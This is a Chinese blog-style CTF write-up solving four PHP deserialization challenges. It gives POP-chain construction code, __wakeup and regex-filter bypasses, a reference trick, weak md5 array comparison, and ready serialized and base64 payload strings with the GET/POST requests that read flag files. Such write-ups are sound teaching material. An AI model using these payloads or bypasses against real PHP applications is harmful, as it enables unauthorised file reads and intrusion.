php反序列化题目

[NewStarCTF 公开赛赛道]UnserializeOne

分析代码,最终需要调用到   file_get_contents 即可获得flag
从后往前分析

触发 __invoke 需要 以调用函数的方式调用一个对象
可以找到Start类 里的__isset中可以将类当作函数调用

所以需要调用到 __isset  就需要 isset() 或 empty() ,可以发现在 eeee类中存在
又需要调用 __clone  方法,当对象被复制时调用,
再继续找,可以发现在Easy 类里存在 clone , 只要将 $var 实例化为一个对象 就可满足条件
这又需要去调用到 __call 方法,在对象中调用一个不可访问方法时,__call() 会被调用
可以发现在 Sec 类 中  使用了一个 check()方法,但是这个方法是不存在的,正好满足__call() 的条件,这又需要调用到 __toString 方法,一个类被当成字符串时被调用,
可以在Start类中发现,将 $name 实例化为一个类就可满足类被当作字符串使用

 

这需要调用到__destruct ,对传入的 pop 参数的值 反序列化就可以调用,这样就可以串起来了

Start类 - __destruct  --->  Sec类- __toString  --->  Easy类 -__call  ---> eeee类-__clone
   ---> Start类- __isset  ---> Sec 类- __invoke --->file_get_contents

链子出来了,就需要去本地构造序列化了

<?php

class Start{

    public $name;

    public $func;

}

class Sec{

    public $obj;

    public $var;

}

class Easy{

    public $cla;

}

class eeee{

    public $obj;

}

尝试了几次失败的,构造的有点问题

// $a=new Start(new Sec(new Easy(new eeee(new Start(new Sec())))));

// O:5:"Start":2:{s:4:"name";N;s:4:"func";N;}

// $a=new Start();

// $a->name=new Sec();

// $a->name->obj=new Easy(new eeee(new Start(new Sec())));

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";N;}s:4:"func";N;}

$a=new Start();

$a->name=new Sec();

$a->name->obj=new Easy();

$a->name->var=new eeee();

$a->name->var->obj=new Start();

$a->name->var->obj->func=new Sec();

echo serialize($a);

// O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:4:"func";N;}

最后这个可以成功得到flag

Web_php_unserialize

需要绕过的点:
__wakeup 绕过 : 修改序列化字符串中属性的数量,使其比实际属性数量多

preg_match('/[oc]:\d+:/i', $var):表示匹配o或c加冒号加任意数字的形式
绕过:在数字前面加上 + 即可绕过

因为需要  base64编码 代码里面使用了private 又麻烦了点,不能直接序列化后改,

使用函数去改

<?php

class Demo { 
    private $file = 'index.php';
}

$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b=str_replace('O:','O:+',$b);
$b=str_replace('s:','s:+',$b);
$b=str_replace('"Demo":1','"Demo":2',$b);
echo $b;
echo base64_encode($b);
//Tzo0OiJEZW1vIjoyOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9

?var=TzorNDoiRGVtbyI6Mjp7czorMTA6IgBEZW1vAGZpbGUiO3M6Kzg6ImZsNGcucGhwIjt9

unserialize3

绕过__wakeup  :  修改序列化字符串中属性的数量,使其比实际属性数量多

<?php


class xctf{
public $flag = '111';
}
$a= new xctf();
$a=serialize($a);
echo $a;
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

BUU CODE REVIEW 1

关键点在于要使 $correct === $input  但是每次执行 $ccorrect 都会被赋予一个新的量,
所以使用  & 符号   使$input指向$correct 的地址,就能保证它们的值相等,因为都是指向的同一个地址,是同一个值

<?php

class BUU {
    public $correct = "";
    public $input = "";
 }

 $a=new BUU();
 $a->input=&$a->correct;

 echo serialize($a);
 //O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

然后就是 md5的弱比较,直接传数组比较简单
GET:   ?pleaseget=1

POST:  pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

相关推荐

  1. PHP序列

    2024-04-08 02:48:02       19 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-04-08 02:48:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-08 02:48:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-08 02:48:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-08 02:48:02       20 阅读

热门阅读

  1. 【Wbpack原理】基础流程解析,实现 mini-webpack

    2024-04-08 02:48:02       15 阅读
  2. 3.7ExecutingCommands

    2024-04-08 02:48:02       16 阅读
  3. 【Python小程序】登录系统的简单实现

    2024-04-08 02:48:02       16 阅读
  4. LeetCode 264 丑数II

    2024-04-08 02:48:02       15 阅读
  5. 第4章 地下水开采对区域水均衡要素的影响

    2024-04-08 02:48:02       12 阅读
  6. DFS序列

    DFS序列

    2024-04-08 02:48:02      9 阅读
  7. linux中常见的后台进程

    2024-04-08 02:48:02       16 阅读
  8. Docker搭建私有镜像仓库

    2024-04-08 02:48:02       13 阅读
  9. 洛谷的练习(天梯赛)

    2024-04-08 02:48:02       15 阅读
  10. localStorage封装代码

    2024-04-08 02:48:02       17 阅读
  11. es6:set()和weakset()

    2024-04-08 02:48:02       16 阅读